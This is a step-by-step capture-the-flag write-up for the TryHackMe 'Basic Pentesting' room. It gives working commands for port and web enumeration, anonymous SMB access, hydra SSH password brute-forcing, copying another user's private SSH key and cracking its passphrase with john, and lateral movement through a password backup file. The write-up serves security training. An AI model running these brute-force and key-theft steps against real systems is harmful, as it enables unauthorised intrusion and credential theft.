home / writeups / basic pentesting
CASE 0x02 tryhackme
Basic Pentesting Writeup
Placeholder legend
| Token | Where to get it |
|---|---|
TARGET_IP |
The target machine IP shown on the room page after deploy. Changes per spawn. |
<VPN_FILE>.ovpn |
Your personalized OpenVPN config, downloaded from the platform's access page. |
<JAN_PASSWORD> ⚠ |
Output of the hydra SSH brute-force in §3. |
<KEY_PASSPHRASE> ⚠ |
Output of the john crack in §6. |
<KAY_PASSWORD> ⚠ |
Contents of /home/kay/pass.bak, read in §7. |
⚠ = recovered value; do not hardcode. Values are the same per box design but are omitted here deliberately — recover them yourself.
1. Connect
sudo openvpn <VPN_FILE>.ovpnLeave this terminal running. Start the lab machine before scanning.
2. Enumeration
nmap -p- --min-rate 5000 -Pn TARGET_IPnmap -A -p 22,80,139,445,8009,8080 TARGET_IP3. Web directory enumeration (port 80)
gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50Lower -t to 20 if timeout errors appear in volume.
curl -s http://TARGET_IP/development/Keep the URL and trailing slash on one line.
curl -s http://TARGET_IP/development/j.txt; echo; curl -s http://TARGET_IP/development/dev.txt4. SMB enumeration
enum4linux -a TARGET_IPPress Enter at the trailing Password: prompt (polenum's password-policy check); it fails through harmlessly.
smbclient -N //TARGET_IP/Anonymous -c 'ls'smbclient -N //TARGET_IP/Anonymous -c 'get staff.txt'; cat staff.txtRun from a dedicated working directory — get writes to the current directory.
If this returns NT_STATUS_IO_TIMEOUT, it is transport-level; re-run the identical command.
5. SSH brute-force
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 4Use -t 4 (not the default 16) — OpenSSH MaxStartups silently refuses excess connections and hydra does not retry them, which can skip the correct password. Drop to -t 1 if [ERROR] could not connect appears. Runtime ~15 min.
6. Foothold and local enumeration
ssh jan@TARGET_IPType yes in full at the host-key prompt. Password prompt does not echo — enter <JAN_PASSWORD>.
Run on the target:
id; ls -la /homels -laR /home/kay7. Key theft and offline crack
Run on the attack box, not inside the SSH session:
scp jan@TARGET_IP:/home/kay/.ssh/id_rsa .
chmod 600 id_rsa
head -3 id_rsascp prompts for <JAN_PASSWORD>. chmod 600 is mandatory — scp preserves the loose source permissions and the local client refuses a world-readable key.
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hashIf ssh2john is not on PATH: python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
Check with: which ssh2john || ls /usr/share/john/ssh2john.py
No password hashes loaded means the redirect/conversion failed and id_rsa.hash is empty.
8. Lateral movement to kay
ssh -i id_rsa kay@TARGET_IPPrompts Enter passphrase for key 'id_rsa': — enter <KEY_PASSPHRASE>. Decryption is client-side.
Run on the target:
id; cat pass.bak; sudo -lsudo -l prompts for kay's password — enter <KAY_PASSWORD> (the value printed by cat pass.bak on the previous line).